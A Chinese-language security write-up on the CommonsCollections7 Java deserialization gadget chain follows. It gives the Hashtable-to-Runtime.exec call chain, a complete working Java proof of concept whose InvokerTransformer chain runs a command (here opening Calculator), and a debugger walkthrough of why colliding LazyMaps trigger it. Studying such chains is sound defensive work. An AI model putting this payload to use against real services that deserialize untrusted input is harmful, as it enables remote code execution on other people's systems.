CommonsCollections7
1、前置知識
Hashtable
Hashtable實現了Map介面和Serializable介面,因此,Hashtable現在整合到了集合框架中。它和HashMap類很相似,但是它支援同步,像HashMap一樣,Hashtable在雜湊表中儲存鍵/值對。當使用一個雜湊表,要指定用作鍵的物件,以及要連結到該鍵的值。然後,該鍵經過雜湊處理,所得到的雜湊碼被用作儲存在該表中值的索引。
//預設沒有引數的構造方,新建為11容量的Hashtable
public Hashtable() {
this(11, 0.75f);
}
//也可以指定容量
public Hashtable(int initialCapacity) {
this(initialCapacity, 0.75f);
}
//將指定 key 對映到此雜湊表中的指定 value。
public void put(Object key, Object value)
//
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
2、POC利用
2.1、利用鏈
/*
Payload method chain:
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
*/
2.2、POC
2.2.1、漏洞復現
package com.akkacloud;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CommonsCollection7 {
public static void main(String[] args) throws Exception {
// Reusing transformer chain and LazyMap gadgets from previous payloads
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open /System/Applications/Calculator.app"})
};
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
//使用衝突雜湊建立兩個Lazymap,以便在readObject期間強制成功進入for迴圈呼叫reconstitutionPut
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
// serialize(hashtable);
unserialize();
}
public static void serialize(Object obj ) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.bin"));
objectOutputStream.writeObject(obj);
}
public static void unserialize() throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.bin"));
objectInputStream.readObject();
}
}
2.2.2、POC分析
由於跟cc6很相似,不再重複說明,直接看兩者不同的地方.
主要是hashtable的add方法把Lazymap加入其中,但是為什麼要put兩次呢,就是存兩個lazyMap2到hashtable中呢?
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
//使用衝突雜湊建立兩個Lazymap,以便在readObject期間強制進行元素比較
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
我們來看Hashtable的readObject方法。發現迴圈呼叫呼叫reconstitutionPut方法,elements就是我們傳入Hashtable的元素個數,
先看傳入的第一個元素既lazymap1,reconstitutionPut方法的引數table就是一個長度為5的空Entry<>[],key是Lazymap1,value為1,就是我們第一個put進去的元素。跟進reconstitutionPut
我們的漏洞點在for迴圈裡面,但是第一次我們的tab為空,根本進不去,但是在後面會用我們傳入的key和value新建立一個Entry<>,並且賦值給tab[index],這就是我們為什麼要put兩個lazymap到Hashtable裡,用於進入reconstitutionPut的for迴圈去觸發我們的漏洞點equal方法。
至於最後的lazyMap2.remove("yy"),就是因為我們我們真正在LazyMap中要確保沒有鍵值對關係,才能呼叫transform方法,跟cc6的一樣的理由,不懂可以仔細看看cc6
2.2.3、POC除錯
在Hashtable的readObject方法處打斷點,第一遍進入reconstitutionPut
第一遍進入的主要目的是為了給tab賦值,以便第二次可以進入迴圈的equal方法
第二遍成功進入for迴圈,此時的key就是我們設定空的lazymap
跟進AbstractMapDecorator的equal方法,繼續進入equal方法
AbstractMap的equal方法,獲取我們傳入的lazymap的key和value,key為lazymap,value就是1,我們一開始構造的空lazymap,進入get方法,m就是我們傳入的lazymap,所以是進入到lazymap的get方法,繼續跟進
進入lazymap後,就會反射把lazymap中ChainedTransformer修改為我們的惡意類。此處就是為什麼要去除yy鍵值對的關係(lazyMap2.remove("yy");),去除後才能進入if裡面執行transform方法。
繼續跟進ChainedTransformer的transform方法,迴圈結束就會RCE
2.3、思維導圖
參考連結
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections7.java
https://www.cnblogs.com/nice0e3/p/13910833.html